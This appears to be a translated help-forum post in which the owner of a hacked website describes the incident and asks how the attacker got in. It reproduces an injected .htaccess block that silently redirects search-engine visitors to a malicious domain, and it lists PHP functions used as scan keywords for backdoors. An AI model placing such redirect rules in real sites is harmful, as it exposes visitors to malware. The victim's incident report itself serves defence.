我的网站已被黑客入侵,目前,我知道一些细节,但对于确切的发生方式或将来如何阻止它,我一无所知。我需要您的帮助来剖析攻击,以防止再次发生。这有点长,但是我想确保提供足够的信息来帮助解决问题。
这是发生了什么事。
几周前,我收到托管公司GoDaddy的电子邮件,说我的网站使用了太多资源,他们期望MySQL查询是罪魁祸首。有问题的查询是其中包含5-6个字词的搜索查询。我设置的方式越多,搜索的词越多,查询变得越复杂。没问题。我已修复它,但与此同时,GoDaddy也暂时关闭了我的帐户,大约3天后一切恢复正常。
发生此事件后,我的搜索引擎流量急剧下降了大约90%。我很没想到,它很烂,将其写到惨败的查询中,并确定它会在Google重新抓取该网站后及时返回。没有。
几天前,我收到用户的电子邮件,说我的网站托管了恶意软件。我直接在浏览器中加载了该网站,但没有看到任何内容注入该页面。然后,我检查了.htaccess文件,发现了以下内容:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
RewriteRule .* http://sokoloperkovuskeci.com/in.php?g=584 [R,L]
</IfModule>
可爱。而且有点曲折。我通常会从地址栏或书签直接导航到该站点,这将正常加载该站点。我很少通过搜索引擎的链接访问我的网站,因此这就是为什么黑客一直没有被发现的原因。该恶意软件也未直接托管在我的网站上。
快速搜索显示,其他人也遇到了同样的麻烦,尽管我怀疑还有更多的人尚未发现它。大多数建议是升级到软件的最新版本,更改密码等。
由于使用的是我自己的自定义内容管理系统,而不是无处不在的Wordpress,因此我进行了更深入的研究。我扫描了所有文件,以查找PHP漏洞利用中的常用功能:base64_decode,exec,shell等。。。没有发现任何可疑的内容,也没有多余的文件。
接下来,我检查了GoDaddy的文件管理器历史记录,发现.htaccess文件在与我的搜索查询被指控消耗过多服务器资源的日期完全相同的日期被更改。这可能是不幸的巧合,但我不确定。.htaccess文件中的重定向似乎并不占用大量资源,并且查询非常复杂,以至于它可能占用大量资源。
我想确保我的代码不是问题,因此在修改.htaccess文件时,我检查了流量日志中是否存在可疑活动,但没有看到任何看起来异常或类似GET或POST的活动尝试入侵。
最后,我从GoDaddy请求了FTP日志,并发现在更改.htaccess文件时存在未经授权的FTP访问。当时我正在休假,我的计算机实际上已经关闭,并且没有其他人拥有访问凭据。看起来无论谁使用FTP都使用主要FTP用户作为该帐户,但IP地址为91.220.0.19,看起来像是来自拉脱维亚。
在共享主机上,GoDaddy似乎会根据站点URL自动分配主要的FTP用户名。这是非常可预测的,或者至少是在我设置托管帐户时。几年前,我首次注册了托管帐户,因此它可能已更改,但是根据我的记忆,我无法选择主要的FTP用户名。目前,您也无法更改用户名,听起来GoDaddy也无法更改用户名,除非您取消帐户并辞职。虽然您可以创建,删除和编辑其他FTP用户,但不能删除主要的FTP用户。仅密码可以更改。
除了主要的FTP用户名,该站点,数据库,管理员和帐户的所有访问凭据都是乱码,随机的用户名和密码,就像猫咪在键盘上走路一样。例如:lkSADf32!$ asJd3。
如果这是链接中的薄弱环节,我已经对我的计算机进行了彻底的病毒,恶意软件扫描,但是什么也没发现。我使用防火墙,防病毒程序,并尝试使用安全的浏览习惯。
更新站点时,我使用Core FTP LE和SSH / SFTP连接。托管帐户是Linux安装程序。
在与GoDaddy技术支持人员交谈时,他们不确定FTP密码是如何被泄露的。在共享主机上,他们无法在FTP用户级别放置IP阻止。他们也无法更改主FTP用户名。当我问他们是否对FTP访问具有蛮力保护时,该技术起初听起来不确定,但随后我说了几遍后说他们确实做到了。但是,我想我记得在上一个电话中问过同样的问题,听说GoDaddy在FTP访问上没有暴力保护。在这一点上,我不知道他们是否这样做。
我已经全面更改了所有访问凭据,并使用.htaccess文件禁止了拉脱维亚IP地址(如果他们使用FTP,可能不会有所不同),但是我仍然不确定FTP的使用方式密码被盗用。
我相当确定问题不是我的代码(即使是,也不应该公开FTP信息)或我的计算机。我怀疑但不知道如何证明,因为用户名是可预测的,所以FTP密码是强行使用的。蛮力攻击也可能与服务器资源用尽(归咎于我的查询)同时发生,但我对服务器的技术方面了解不足,无法知道这是否可能甚至可能。
现在,我觉得我已经知道该做什么了。我希望能够了解如何进行攻击以及如何预防攻击,因此,如果您对攻击媒介,可以运行的诊断程序或其他安全措施有任何进一步的了解,我将不胜感激。我非常愿意更改主机或放弃共享主机,但是我想确保可以防止这种情况再次发生。
救救我,Obi-Wan Kenobi ...